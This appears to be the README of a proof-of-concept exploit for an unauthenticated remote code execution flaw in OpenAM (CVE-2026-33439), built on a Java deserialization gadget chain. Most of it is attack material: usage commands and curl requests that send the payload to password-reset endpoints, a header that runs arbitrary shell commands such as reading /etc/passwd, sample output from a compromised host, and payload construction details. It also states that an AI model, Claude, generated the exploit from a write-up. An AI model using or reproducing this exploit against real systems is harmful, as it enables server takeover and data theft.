
Exploit for OpenAM pre-auth RCE (CVE-2026-33439) using a Java deserialization gadget chain to execute commands and return output directly in the HTTP response.
Command output directly in the HTTP response — no DNS exfiltration or OOB needed.
Uses com.iplanet.jato.RequestManager.getRequestContext() to access the active
JATO ThreadLocal request/response during deserialization. Works on Java 21+ where
classic Tomcat echo techniques (Thread.target / ThreadGroup.threads traversal) fail.
javac for translet compilation at runtime)click-nodeps-2.3.0.jar and xalan-2.7.x.jar on classpath| Endpoint | Echo Output |
|---|
/sso/ui/PWResetUserValidation | HTTP 200, command output in body |
/sso/ui/PWResetQuestion | HTTP 200, command output in body |
/sso/ui/PWResetSuccess | HTTP 200, command output in body |
Also tested but no echo output (deserialization still triggers):
/sso/ui/PWResetInvalidURL — error page returned/sso/ui/PWResetUncaughtException — error page returned./build.sh
The JAR auto-adds --add-opens JVM flags — no need to specify them manually.
# All-in-one: generate payload + send + show output (proxies through Burp)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'
# Without Burp proxy
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy
# Generate reusable payload (command comes from 'cmd' header at request time)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash
PriorityQueue deserialization payload (Click1 + Xalan TemplatesImpl gadget chain)RequestManager.getRequestContext() to get the active JATO request/responsecmd HTTP header, executes sh -c <cmd>, writes stdout+stderr to response.getOutputStream()\x00 prefix + URL-safe Base64, no padding)/sso/ui/PWResetUserValidation?jato.clientSession=<payload> (unauthenticated)CVE-2026-33439-PoC-echo/
CVE-2026-33439-Echo.jar # Exploit JAR
build.sh # Build script
MANIFEST.MF # JAR manifest
README.md # This file
lib/ # Dependencies (must stay next to JAR)
click-nodeps-2.3.0.jar
xalan-2.7.1.jar
serializer-2.7.3.jar
javax.servlet-api-4.0.1.jar
src/
CVE_2026_33439_Echo.java # Source code
Patched in OpenAM commit 014007c63cacc834cc795a89fac0e611aebc4a32 — adds
class filter to ObjectInputStream in SessionEncodeURL.readSessionID().
The PoC was created using Claude; the prompt was the write-up (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) and the Git commit (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)